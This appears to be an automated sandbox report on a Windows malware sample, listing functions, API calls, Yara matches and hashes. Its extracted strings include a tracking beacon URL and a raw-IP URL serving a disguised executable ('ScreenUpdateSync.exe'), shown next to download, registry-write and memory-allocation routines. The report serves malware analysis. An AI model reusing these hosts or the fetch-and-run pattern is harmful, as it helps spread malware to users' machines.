Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004399BA: CreateFileW.KERNEL32(00000000,00000000,?,00439D95,?,?,00000000,?,00439D95,00000000,0000000C), ref: 004399D7

GetLastError.KERNEL32 ref: 00439E00
__dosmaperr.LIBCMT ref: 00439E07
GetFileType.KERNEL32(00000000), ref: 00439E13
GetLastError.KERNEL32 ref: 00439E1D
__dosmaperr.LIBCMT ref: 00439E26
CloseHandle.KERNEL32(00000000), ref: 00439E46
CloseHandle.KERNEL32(?), ref: 00439F90
GetLastError.KERNEL32 ref: 00439FC2
__dosmaperr.LIBCMT ref: 00439FC9

Strings

H, xrefs: 00439F4E

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 421b56908cdc5effa97339455402cbdc1e0931068494d8ea353fec2ca3bfec44
Instruction ID: ae8dea3f4feddee472c3039590847cc5196dbfc9c051d7f81bf9d8d1aa032c18
Opcode Fuzzy Hash: 421b56908cdc5effa97339455402cbdc1e0931068494d8ea353fec2ca3bfec44
Instruction Fuzzy Hash: 23A14632A101149FDF19DF68D8927AE7BB0EB0A324F14115EE811DB3D2D7788D12CB9A

Function 020F003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 020F024D

Strings

kernel32.dll, xrefs: 020F008F, 020F0095
cess, xrefs: 020F018D

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: fd96abfbcbc1ba3c88088248ade3727876ff70d63f7c93e0f6d1ce76c48a2d52
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 54526A74A01229DFDBA4CF58C984BACBBB1BF09304F1480D9E54DAB756DB30AA85DF14

Function 0040294E Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(ShareScreen,00000000,00000000,00000000,00000000), ref: 00402971

Part of subcall function 00401090: _wcslen.LIBCMT ref: 00401097
Part of subcall function 00401090: _wcslen.LIBCMT ref: 004010B3

InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00402B84
InternetCloseHandle.WININET(00000000), ref: 00402B95
InternetCloseHandle.WININET(00000000), ref: 00402B98

Strings

ShareScreen, xrefs: 0040296C
&cc=DE, xrefs: 00402AFE, 00402B04, 00402B61
https://post-to-me.com/track_prt.php?sub=, xrefs: 004029A1, 00402ACD, 00402B3C

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Internet$CloseHandleOpen_wcslen
String ID: &cc=DE$ShareScreen$https://post-to-me.com/track_prt.php?sub=
API String ID: 3067768807-1501832161
Opcode ID: 52e97794ee95335dc78f8416977e9998a62e16c44e323fee60c9196bc624e54f
Instruction ID: 96fb9e56c39c5b6cbbb8185ec49ff5eb092fe1c3b949b106adb38a0aa8465585
Opcode Fuzzy Hash: 52e97794ee95335dc78f8416977e9998a62e16c44e323fee60c9196bc624e54f
Instruction Fuzzy Hash: 25510765678344E9E300DFB0BC56B6223A8FF58712F50243BE608DB2B2E7B59D44871E

Function 00404959 Relevance: 9.1, APIs: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Cnd_init.LIBCPMT ref: 0040496D
__Mtx_init.LIBCPMT ref: 00404993
std::_Cnd_initX.LIBCPMT ref: 004049B6
__Thrd_start.LIBCPMT ref: 004049DB
std::_Cnd_waitX.LIBCPMT ref: 004049FB
std::_Cnd_initX.LIBCPMT ref: 00404A28

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Cnd_initstd::_$Cnd_waitMtx_initThrd_start
String ID:
API String ID: 1687354797-0
Opcode ID: fffca05cae005c60756ea02ea123cea2a59a6691ace37ee45b430404b8463dc5
Instruction ID: cd3e31c43e5b12e2ff9ab8fc16a5b2d95a1e586a92760bee455ed7c32e82bfe6
Opcode Fuzzy Hash: fffca05cae005c60756ea02ea123cea2a59a6691ace37ee45b430404b8463dc5
Instruction Fuzzy Hash: 01216FB1D05248AADF01EBA9D841BDEB7B8AF48324F14407FE100B32D2DB7D8D448A6D

Function 00404CD7 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Cnd_initX.LIBCPMT ref: 00404CF3
__Cnd_signal.LIBCPMT ref: 00404CFF
std::_Cnd_initX.LIBCPMT ref: 00404D14
__Cnd_do_broadcast_at_thread_exit.LIBCPMT ref: 00404D1B

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Cnd_initstd::_$Cnd_do_broadcast_at_thread_exitCnd_signal
String ID:
API String ID: 2059591211-0
Opcode ID: de70994016430be7358a791f0ec21ed4dd319dc988ad027faa6f032078222ea1
Instruction ID: 2fc375d100873d72a50546ada61b70f75b7c06dc6b9869c13df35d59917d705d
Opcode Fuzzy Hash: de70994016430be7358a791f0ec21ed4dd319dc988ad027faa6f032078222ea1
Instruction Fuzzy Hash: D1F08235500741ABEB207772CC07B0A72A0AF40328F14893EF195769E2CBBEA8508A9D

Function 004026AA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 004026D9
__fassign.LIBCMT ref: 004026E9

Part of subcall function 0040256D: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00402650

Strings

^(@, xrefs: 0040272E

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Ios_base_dtor__fassign_wcslenstd::ios_base::_
String ID: ^(@
API String ID: 2843524283-3001169298
Opcode ID: 078bfe418ef1d02b7eaba189eb9b1fd50eb37be1e2d01b456f61a77d8eea1933
Instruction ID: bdfaebc92cbdb0bbde8ec90ad7181e7a67154dc0685cd712f8757237ddbbe2d9
Opcode Fuzzy Hash: 078bfe418ef1d02b7eaba189eb9b1fd50eb37be1e2d01b456f61a77d8eea1933
Instruction Fuzzy Hash: B301BE71E0012C5ADB25EB25EC46AEE7778DB45314F0001FED605E31C1D9785F46CA98

Function 0042ADC4 Relevance: 4.6, APIs: 3, Instructions: 54
threadCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(?,?,Function_0002AC70,00000000,?,?), ref: 0042AE0D
GetLastError.KERNEL32(?,?,?,?,?,00409F59,00000000,00000000,?,?,00000000,?), ref: 0042AE19
__dosmaperr.LIBCMT ref: 0042AE20

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: d81a0880f9b4ab1b03127350d52b8c3d6e495d8753e5fd65d5e2db7067294489
Instruction ID: a4d88d7991a99629ead7662890d76cc83620798d0cb929ae61f78896f277130d
Opcode Fuzzy Hash: d81a0880f9b4ab1b03127350d52b8c3d6e495d8753e5fd65d5e2db7067294489
Instruction Fuzzy Hash: 9F01B536305129AFCB159FA2FC05AAF7B69EF85360F41006AFD1583210DB359D32C7AA

Function 00431405 Relevance: 4.6, APIs: 3, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,0040AE20,00000000,00000002,0040AE20,00000000,?,?,?,004314B4,00000000,00000000,0040AE20,00000002), ref: 0043143E
GetLastError.KERNEL32(?,004314B4,00000000,00000000,0040AE20,00000002,?,00428E11,?,00000000,00000000,00000001,?,0040AE20,?,00428EC6), ref: 00431448
__dosmaperr.LIBCMT ref: 0043144F

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: c4d61bfe769dea2557bca9f5ea17516a7d114a60f75f494886d5372c69fb114f
Instruction ID: e2e2f5a3bf5302813166182af0c2da2688465cb928c1670b48fb66af4367e99f
Opcode Fuzzy Hash: c4d61bfe769dea2557bca9f5ea17516a7d114a60f75f494886d5372c69fb114f
Instruction Fuzzy Hash: FD012832610114AFCB058FA9EC0596E3B29EB89321F24525AF915872A0FA349D528B94

Function 004028F7 Relevance: 4.5, APIs: 3, Instructions: 41
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNEL32(80000001,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402919
RegSetValueExW.KERNEL32(?,?,00000000,00000001,?,00000004,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402931
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402941

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: efb7c1504bbdc0ec7410aa234e852707409d0ec4ecfa318a78e7a7b862498569
Instruction ID: 5cdb2ed0b66d26b21b8b5e7c422a9b1f823723e120ccdc486678b535dbafdb86
Opcode Fuzzy Hash: efb7c1504bbdc0ec7410aa234e852707409d0ec4ecfa318a78e7a7b862498569
Instruction Fuzzy Hash: 95F054B660011CFFEB214B95ED89EFBBA6CEB457E9F100075FB01B2160D6B14E109664

Function 0042AD24 Relevance: 4.5, APIs: 3, Instructions: 31
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042EC0E: GetLastError.KERNEL32(?,?,?,0042B77E,00431A2C,?,0042EBB8,00000001,00000364,?,0042AC95,00454460,00000010), ref: 0042EC13
Part of subcall function 0042EC0E: _free.LIBCMT ref: 0042EC48
Part of subcall function 0042EC0E: SetLastError.KERNEL32(00000000), ref: 0042EC7C

ExitThread.KERNEL32 ref: 0042AD36
CloseHandle.KERNEL32(?,?,?,0042AE56,?,?,0042ACCD,00000000), ref: 0042AD5E
FreeLibraryAndExitThread.KERNEL32(?,?,?,?,0042AE56,?,?,0042ACCD,00000000), ref: 0042AD74

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary_free
String ID:
API String ID: 1198197534-0
Opcode ID: 6f00f1f5b4401f4667bd12c5f378f6fcab513e20210515c4313a25bb94f10483
Instruction ID: 6e67e04fc918f05a3f293a53a8d946c41c5a2fc48305b7d2413996da68f94d5f
Opcode Fuzzy Hash: 6f00f1f5b4401f4667bd12c5f378f6fcab513e20210515c4313a25bb94f10483
Instruction Fuzzy Hash: 8DF0E9302107246BCB301B35FE0CA177B9AAF41361F884A55FC24D3AA1D73CEC61CA5A

Function 004020E8 Relevance: 3.1, APIs: 2, Instructions: 125
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 0040210F
PostQuitMessage.USER32(00000000), ref: 004022AD

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: MessagePostProcQuitWindow
String ID:
API String ID: 3873111417-0
Opcode ID: 2d3fa111deeb51c5c54420dda3bfc97de4f0d89d107d67c5d9fb77a802c71042
Instruction ID: 79b3d71a0da0b04bdf76c97d9077014053dbbe0adc9d660bbbfb1100800d1b2a
Opcode Fuzzy Hash: 2d3fa111deeb51c5c54420dda3bfc97de4f0d89d107d67c5d9fb77a802c71042
Instruction Fuzzy Hash: B1410826278340E6EB148FA0BC55A663760FF5C752F10643BE608DB2B2E3B68D50C75E

Function 00401530 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 101
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00001562), ref: 00401538

Part of subcall function 00401090: _wcslen.LIBCMT ref: 00401097
Part of subcall function 00401090: _wcslen.LIBCMT ref: 004010B3

Strings

http://176.113.115.19/ScreenUpdateSync.exe, xrefs: 00401543, 0040167C

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _wcslen$Sleep
String ID: http://176.113.115.19/ScreenUpdateSync.exe
API String ID: 3358372957-3120454669
Opcode ID: b32fc59924922a325582d1466422e8e4014c9fc1e660fc36f41cda5090002400
Instruction ID: dd4c4dcc300b169fb65362e6015a7ae570c2c4728c2dc879cfb8d8301306f96d
Opcode Fuzzy Hash: b32fc59924922a325582d1466422e8e4014c9fc1e660fc36f41cda5090002400
Instruction Fuzzy Hash: D731BA17269388F9E202DBA1BC11A622361FF54B52F54643FD605CB2B2F7B28D64C71E

Function 0042AC70 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00454460,00000010,00000003,0042EC0D), ref: 0042AC83
ExitThread.KERNEL32 ref: 0042AC8A

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 90b88eec408237057712a8e6ca5e14395e7d0bd365d2f4f0c89947242b787e19
Instruction ID: 96dc08565cf4aac2e27ca5460aedff96d4c3b12cc4e36486bc56d0b3e603dd56
Opcode Fuzzy Hash: 90b88eec408237057712a8e6ca5e14395e7d0bd365d2f4f0c89947242b787e19
Instruction Fuzzy Hash: 76F0D1306402149FCB01AFB2E90AB6D3770BF45314F10004AF90167392CB795821DB69

Function 020F0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,020F0223,?,?), ref: 020F0E19
SetErrorMode.KERNEL32(00000000,?,?,020F0223,?,?), ref: 020F0E1E

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 373609c7fd307ef06685ff80add0f5f843e46d53b934b4a801672e3e55fe8bac
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: C6D01231545228B7D7412A94DC09BCD7B5CDF05B66F008011FB0DD9481C770954046E5

Function 00430E36 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 069117a0b3ecb57cbe06e606300534385849806ed632d99f1313e444140c0471
Instruction ID: 6272ce5ebcb5551eb13c71591ae19b2e7bd4fe6516ceebcc151ed3c5cfe0a765
Opcode Fuzzy Hash: 069117a0b3ecb57cbe06e606300534385849806ed632d99f1313e444140c0471
Instruction Fuzzy Hash: A9510E31B04204AFDB20CF18C851BAA7BB1EF89364F19925AF8089B391C775ED42CB94

Function 0040309D Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 0040317A

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: d8d9f89cd59205823889fb1de194acb7516546d07051db645d996c14b3a2ef7c
Instruction ID: b1cd6bc23aa87033d3006bcf4f733c49833bef788a229a8854e9815be8ce55ba
Opcode Fuzzy Hash: d8d9f89cd59205823889fb1de194acb7516546d07051db645d996c14b3a2ef7c
Instruction Fuzzy Hash: 2031AD35604316ABC710DF29C88091ABFA9BF88755F04893EFC14AB390C739DA148BDA

Function 0040256D Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00402650

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID:
API String ID: 323602529-0
Opcode ID: e96bc46b0e2646a1479c5dedacbb50c38fae194fb308d561b1e6f3878dc2f54d
Instruction ID: 4624e629df14b4525b7c8686325750632f9a0764d65f3ee34fbd339ffa8df684
Opcode Fuzzy Hash: e96bc46b0e2646a1479c5dedacbb50c38fae194fb308d561b1e6f3878dc2f54d
Instruction Fuzzy Hash: 40312CB0D00219DBCB14EFA5D885AEDFBB4BF48304F50856EE415B3281DB78AA48CF54

Function 004036C0 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 004036C7

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: dcdb9fdb08ec588c8ee807a99c872d18ec202110872de6f9bda675190c74d75d
Instruction ID: 9b822d7448699111fff1bf28baa0500cb17bb8ed520245df9612d85b86e18a4a
Opcode Fuzzy Hash: dcdb9fdb08ec588c8ee807a99c872d18ec202110872de6f9bda675190c74d75d
Instruction Fuzzy Hash: 612168B0A00218EFCB14DF19C584E9EBBB5BF48704F14C05AE814AB391C778AE50CB94

Function 0042F435 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0042F473

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: a5723800fd1f169e0437760a7f50ed7ef25da811485912dd9ceffa1c1c6a2725
Instruction ID: fea3c8185d25a869d03db2e196450157e21cb6ef349947979cd7c4f9e31cae11
Opcode Fuzzy Hash: a5723800fd1f169e0437760a7f50ed7ef25da811485912dd9ceffa1c1c6a2725
Instruction Fuzzy Hash: 48114871A0420AAFCF05DF58E94099B7BF4EF48304F4040AAFC09AB312D671ED15CBA9

Function 00439C7B Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00439CBC

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dcff01ba0718bc25fbadba801be0e76f759b5211c2d86b2f90a3e61a906836b7
Instruction ID: b7fe7fe08409bd19dfadbafab139ede4e52a4e978ff87e37a6b76d32f4fa6700
Opcode Fuzzy Hash: dcff01ba0718bc25fbadba801be0e76f759b5211c2d86b2f90a3e61a906836b7
Instruction Fuzzy Hash: E3F09A32410009BBCF145E96DC02CDB3FAEEF89324F10121AF914A2150DA7A8E21ABA5

Function 00430357 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0040A8BB,00000000,?,0042343E,00000002,00000000,00000000,00000000,?,00409D6C,0040A8BB,00000004,00000000,00000000,00000000), ref: 00430389

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 94bb1d1cbc79ed1c8b0dc4f19487a5a93c6ecc87d3d9d0db5a6fa1ee50580957
Instruction ID: 47e3c5d68b380d3cd8e9ddaca3de6ba31461fa3b8e4965d6751cb7b5639b6047
Opcode Fuzzy Hash: 94bb1d1cbc79ed1c8b0dc4f19487a5a93c6ecc87d3d9d0db5a6fa1ee50580957
Instruction Fuzzy Hash: EBE02B31200330E7D73027666C14B6B37489F893B0F161327FC0896291DB2CDC4082ED

Function 0040C7AD Relevance: 1.5, APIs: 1, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0040D067

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 7740047dc230368fe408c387f836ace1f18ac7adcdd55ce6d9555945edc81265
Instruction ID: cfaa6f26a2fc29423537084f1d36e02b68419c7fda564f47a20173b9982a3252
Opcode Fuzzy Hash: 7740047dc230368fe408c387f836ace1f18ac7adcdd55ce6d9555945edc81265
Instruction Fuzzy Hash: 89E0613550020EF2CB0477A5EC86A5D331C4A00368F608237FC14710D2DF38C55AC8CD

Function 00403D31 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

_Deallocate.LIBCONCRT ref: 00403D41

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Deallocate
String ID:
API String ID: 1075933841-0
Opcode ID: 03b467a8024a0db2755d127a95dfe8777837e23729d12ff083ffe62b2a015746
Instruction ID: 115117fb0300a3dd3bb5d6d6bcaa10fcf292387c6354bd6642c268f5133d76a8
Opcode Fuzzy Hash: 03b467a8024a0db2755d127a95dfe8777837e23729d12ff083ffe62b2a015746
Instruction Fuzzy Hash: 5FD067714186128EE364DF69E440A52BBE4EF04310B24483FE4D9D26A4E6749890DB44

Function 004399BA Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00439D95,?,?,00000000,?,00439D95,00000000,0000000C), ref: 004399D7

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 831fd39e2a0a3c7adf232fa078b0f2218b70b1834c77c9a045495a99feabe57d
Instruction ID: 4e005c86236d0ebb2d3c50d8ebf826c21910d1f7893f8fa4ab497a8ae3f1d0cd
Opcode Fuzzy Hash: 831fd39e2a0a3c7adf232fa078b0f2218b70b1834c77c9a045495a99feabe57d
Instruction Fuzzy Hash: DDD06C3200010DBFDF128F84EC06EDA3BAAFB48714F014010BE5856020C732E871AB94

Function 020B0465 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 020B04B6

Memory Dump Source

Source File: 00000000.00000002.2835002444.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20b0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 652090f975d3389ffe46e72f2302af7613c42f105c140386e65142dbf4728fe8
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 44113C79A40208EFDB01DF98C985E99BBF5EF08350F058094F9489B361D371EA50EF80

Non-executed Functions

Function 020F20AB Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 205nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,00000014,?,?), ref: 020F20E6
GetClientRect.USER32(?,?), ref: 020F20FB
GetDC.USER32(?), ref: 020F2102
CreateSolidBrush.GDI32(00646464), ref: 020F2115
CreatePen.GDI32(00000001,00000001,00FFFFFF), ref: 020F2134
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 020F2155
GetDeviceCaps.GDI32(00000000,0000005A), ref: 020F2160
MulDiv.KERNEL32(00000008,00000000), ref: 020F2169
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000031,0044EED0), ref: 020F218D
SetBkMode.GDI32(?,00000001), ref: 020F2218
_wcslen.LIBCMT ref: 020F2230

Strings

D, xrefs: 020F21AF

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Create$BrushCapsClientDeviceFontModeNtdllProc_RectRectangleSolidWindow_wcslen
String ID: D
API String ID: 1529870607-193714618
Opcode ID: 38ac28043bcdc19eb5720ea1865d2c5ca7591308d7597a2ec6c1277d7a7fe57c
Instruction ID: bc1e1ff9acbdf603fd1254d8501fa04adc6bb6e231a37e53c5b2f1424ebcdd9e
Opcode Fuzzy Hash: 38ac28043bcdc19eb5720ea1865d2c5ca7591308d7597a2ec6c1277d7a7fe57c
Instruction Fuzzy Hash: E571EC76900228AFDB629B78DD85FAEB7BCEF09710F0041A5F609E6151DA70AF91CF14

Function 004385F2 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBE9
